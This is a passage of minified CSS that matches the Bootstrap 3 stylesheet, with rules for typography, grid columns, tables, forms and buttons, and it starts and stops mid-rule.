Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#333;background-color:#fff}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:hover,a:focus{color:#23527c;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.img-responsive,.thumbnail>img,.thumbnail a>img,.carousel-inner>.item>img,.carousel-inner>.item>a>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{display:inline-block;max-width:100%;height:auto;padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small,.h1 small,.h2 small,.h3 small,.h4 small,.h5 small,.h6 small,h1 .small,h2 .small,h3 .small,h4 .small,h5 .small,h6 .small,.h1 .small,.h2 .small,.h3 .small,.h4 .small,.h5 .small,.h6 .small{font-weight:400;line-height:1;color:#777}h1,.h1,h2,.h2,h3,.h3{margin-top:20px;margin-bottom:10px}h1 small,.h1 small,h2 small,.h2 small,h3 small,.h3 small,h1 .small,.h1 .small,h2 .small,.h2 .small,h3 .small,.h3 .small{font-size:65%}h4,.h4,h5,.h5,h6,.h6{margin-top:10px;margin-bottom:10px}h4 small,.h4 small,h5 small,.h5 small,h6 small,.h6 small,h4 .small,.h4 .small,h5 .small,.h5 .small,h6 .small,.h6 .small{font-size:75%}h1,.h1{font-size:36px}h2,.h2{font-size:30px}h3,.h3{font-size:24px}h4,.h4{font-size:18px}h5,.h5{font-size:14px}h6,.h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}small,.small{font-size:85%}mark,.mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:hover{color:#286090}.text-success{color:#3c763d}a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:hover{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ul,ol{margin-top:0;margin-bottom:10px}ul ul,ol ul,ul ol,ol ol{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;margin-left:-5px;list-style:none}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dt,dd{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote p:last-child,blockquote ul:last-child,blockquote ol:last-child{margin-bottom:0}blockquote footer,blockquote small,blockquote .small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote footer:before,blockquote small:before,blockquote .small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eee;border-left:0}.blockquote-reverse footer:before,blockquote.pull-right footer:before,.blockquote-reverse small:before,blockquote.pull-right small:before,.blockquote-reverse .small:before,blockquote.pull-right .small:before{content:''}.blockquote-reverse footer:after,blockquote.pull-right footer:after,.blockquote-reverse small:after,blockquote.pull-right small:after,.blockquote-reverse .small:after,blockquote.pull-right .small:after{content:'\00A0 \2014'}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.25);box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;-webkit-box-shadow:none;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{margin-right:-15px;margin-left:-15px}.col-xs-1,.col-sm-1,.col-md-1,.col-lg-1,.col-xs-2,.col-sm-2,.col-md-2,.col-lg-2,.col-xs-3,.col-sm-3,.col-md-3,.col-lg-3,.col-xs-4,.col-sm-4,.col-md-4,.col-lg-4,.col-xs-5,.col-sm-5,.col-md-5,.col-lg-5,.col-xs-6,.col-sm-6,.col-md-6,.col-lg-6,.col-xs-7,.col-sm-7,.col-md-7,.col-lg-7,.col-xs-8,.col-sm-8,.col-md-8,.col-lg-8,.col-xs-9,.col-sm-9,.col-md-9,.col-lg-9,.col-xs-10,.col-sm-10,.col-md-10,.col-lg-10,.col-xs-11,.col-sm-11,.col-md-11,.col-lg-11,.col-xs-12,.col-sm-12,.col-md-12,.col-lg-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0}@media (min-width:768px){.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0}}@media (min-width:992px){.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0}}@media (min-width:1200px){.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>td{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>thead>tr>th,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>tbody>tr>td,.table-condensed>tfoot>tr>td{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>thead>tr>th,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>td{border:1px solid #ddd}.table-bordered>thead>tr>th,.table-bordered>thead>tr>td{border-bottom-width:2px}.table-striped>tbody>tr:nth-child(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*=col-]{position:static;display:table-column;float:none}table td[class*=col-],table th[class*=col-]{position:static;display:table-cell;float:none}.table>thead>tr>td.active,.table>tbody>tr>td.active,.table>tfoot>tr>td.active,.table>thead>tr>th.active,.table>tbody>tr>th.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>tbody>tr.active>td,.table>tfoot>tr.active>td,.table>thead>tr.active>th,.table>tbody>tr.active>th,.table>tfoot>tr.active>th{background-color:#f5f5f5}.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover,.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr.active:hover>th{background-color:#e8e8e8}.table>thead>tr>td.success,.table>tbody>tr>td.success,.table>tfoot>tr>td.success,.table>thead>tr>th.success,.table>tbody>tr>th.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>tbody>tr.success>td,.table>tfoot>tr.success>td,.table>thead>tr.success>th,.table>tbody>tr.success>th,.table>tfoot>tr.success>th{background-color:#dff0d8}.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover,.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr.success:hover>th{background-color:#d0e9c6}.table>thead>tr>td.info,.table>tbody>tr>td.info,.table>tfoot>tr>td.info,.table>thead>tr>th.info,.table>tbody>tr>th.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>tbody>tr.info>td,.table>tfoot>tr.info>td,.table>thead>tr.info>th,.table>tbody>tr.info>th,.table>tfoot>tr.info>th{background-color:#d9edf7}.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover,.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr.info:hover>th{background-color:#c4e3f3}.table>thead>tr>td.warning,.table>tbody>tr>td.warning,.table>tfoot>tr>td.warning,.table>thead>tr>th.warning,.table>tbody>tr>th.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>tbody>tr.warning>td,.table>tfoot>tr.warning>td,.table>thead>tr.warning>th,.table>tbody>tr.warning>th,.table>tfoot>tr.warning>th{background-color:#fcf8e3}.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover,.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr.warning:hover>th{background-color:#faf2cc}.table>thead>tr>td.danger,.table>tbody>tr>td.danger,.table>tfoot>tr>td.danger,.table>thead>tr>th.danger,.table>tbody>tr>th.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>tbody>tr.danger>td,.table>tfoot>tr.danger>td,.table>thead>tr.danger>th,.table>tbody>tr.danger>th,.table>tfoot>tr.danger>th{background-color:#f2dede}.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover,.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr.danger:hover>th{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>td{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0}}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type=radio],input[type=checkbox]{margin:4px 0 0;margin-top:1px \9;line-height:normal}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=file]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:14px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{cursor:not-allowed;background-color:#eee;opacity:1}textarea.form-control{height:auto}input[type=search]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio:0){input[type=date],input[type=time],input[type=datetime-local],input[type=month]{line-height:34px}input[type=date].input-sm,input[type=time].input-sm,input[type=datetime-local].input-sm,input[type=month].input-sm{line-height:30px}input[type=date].input-lg,input[type=time].input-lg,input[type=datetime-local].input-lg,input[type=month].input-lg{line-height:46px}}.form-group{margin-bottom:15px}.radio,.checkbox{position:relative;display:block;margin-top:10px;margin-bottom:10px}.radio label,.checkbox label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.radio input[type=radio],.radio-inline input[type=radio],.checkbox input[type=checkbox],.checkbox-inline input[type=checkbox]{position:absolute;margin-top:4px \9;margin-left:-20px}.radio+.radio,.checkbox+.checkbox{margin-top:-5px}.radio-inline,.checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-top:0;margin-left:10px}input[type=radio][disabled],input[type=checkbox][disabled],input[type=radio].disabled,input[type=checkbox].disabled,fieldset[disabled] input[type=radio],fieldset[disabled] input[type=checkbox]{cursor:not-allowed}.radio-inline.disabled,.checkbox-inline.disabled,fieldset[disabled] .radio-inline,fieldset[disabled] .checkbox-inline{cursor:not-allowed}.radio.disabled label,.checkbox.disabled label,fieldset[disabled] .radio label,fieldset[disabled] .checkbox label{cursor:not-allowed}.form-control-static{padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-right:0;padding-left:0}.input-sm,.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm,select.form-group-sm .form-control{height:30px;line-height:30px}textarea.input-sm,textarea.form-group-sm .form-control,select[multiple].input-sm,select[multiple].form-group-sm .form-control{height:auto}.input-lg,.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}select.input-lg,select.form-group-lg .form-control{height:46px;line-height:46px}textarea.input-lg,textarea.form-group-lg .form-control,select[multiple].input-lg,select[multiple].form-group-lg .form-control{height:auto}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.input-lg+.form-control-feedback{width:46px;height:46px;line-height:46px}.input-sm+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline,.has-success.radio label,.has-success.checkbox label,.has-success.radio-inline label,.has-success.checkbox-inline label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline,.has-warning.radio label,.has-warning.checkbox label,.has-warning.radio-inline label,.has-warning.checkbox-inline label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline,.has-error.radio label,.has-error.checkbox label,.has-error.radio-inline label,.has-error.checkbox-inline label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn,.form-inline .input-group .form-control{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .radio,.form-inline .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .radio label,.form-inline .checkbox label{padding-left:0}.form-inline .radio input[type=radio],.form-inline .checkbox input[type=checkbox]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline{padding-top:7px;margin-top:0;margin-bottom:0}.form-horizontal .radio,.form-horizontal .checkbox{min-height:27px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.form-horizontal .control-label{padding-top:7px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:14.3px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px}}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-image:none;border:1px solid transparent;border-radius:4px}.btn:focus,.btn:active:focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn.active.focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:hover,.btn:focus,.btn.focus{color:#333;text-decoration:none}.btn:active,.btn.active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] 